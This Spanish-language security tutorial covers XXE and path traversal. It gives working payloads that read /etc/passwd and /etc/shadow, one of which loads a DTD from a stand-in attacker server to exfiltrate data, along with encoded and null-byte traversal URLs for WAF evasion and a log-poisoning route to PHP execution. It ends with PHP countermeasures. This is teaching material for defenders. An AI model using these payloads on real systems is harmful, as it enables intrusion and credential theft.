Explotación de vulnerabilidades XXE (XML External Entities) y Path Traversal (Directory Traversal). Ambas vulnerabilidades abusan de la forma en que el servidor lee e interactúa con el sistema de archivos local y fuentes externas.
El estándar XML permite el uso de DTD (Document Type Definition) para definir la estructura del documento. Dentro del DTD, se pueden declarar Entidades Externas, que actúan como variables dinámicas que el parser XML rellena haciendo llamadas al sistema operativo (por ejemplo, leyendo un archivo o haciendo peticiones HTTP).
Si la aplicación web recibe XML (ej: en una API o subida de archivos SVG) y no tiene las entidades deshabilitadas, podemos obligarla a leer /etc/passwd y mostrarlo en la respuesta:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
A veces, la aplicación parsea el XML pero no muestra el resultado en la pantalla (XXE Ciego). Para exfiltrar datos, usamos entidades paramétricas que envían el contenido del archivo a nuestro servidor atacante a través de la URL:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % dtd SYSTEM "http://servidor-atacante.com/malicioso.dtd">
%dtd;
]>
He creado un punto final de una API simulada que procesa comprobaciones de Stock mediante XML. El parser es vulnerable. Tu misión es inyectar una Entidad Externa (SYSTEM) para leer el archivo /etc/passwd.
El Path Traversal permite a un atacante leer (y a veces escribir) archivos arbitrarios en el servidor web saltándose el directorio raíz permitido, utilizando la secuencia ../ (subir un nivel de directorio).
Muchos WAFs bloquean el string literal ../. Los atacantes usan codificación para evadir estas defensas:
# Básico:
http://target.com/view?page=../../../../etc/passwd
# URL Encoding:
http://target.com/file?name=..%2F..%2F..%2Fetc%2Fpasswd
# Null Byte (útil en PHP < 5.3 para cortar extensiones forzadas):
http://target.com/file?name=../../../etc/passwd%00.jpg
Si podemos leer archivos locales, a menudo podemos leer los logs del servidor Apache (/var/log/apache2/access.log). Si inyectamos código PHP en nuestro User-Agent al hacer una petición normal y luego usamos Path Traversal para incluir ese log en la página web, el servidor ejecutará nuestro código PHP.
<?php
/* CONTRAMEDIDA XXE */
// A partir de PHP 8, las entidades externas están deshabilitadas por defecto.
// Para versiones anteriores:
libxml_disable_entity_loader(true);
/* CONTRAMEDIDA PATH TRAVERSAL */
// 1. Evitar usar el input del usuario como nombre de archivo.
// 2. Si es necesario, usar realpath() y validar el directorio base:
$base_dir = '/var/www/archivos/';
$real_path = realpath($base_dir . $_GET['file']);
if ($real_path === false || strpos($real_path, $base_dir) !== 0) {
die('Acceso denegado. Intento de evasión detectado.');
}
readfile($real_path);
?>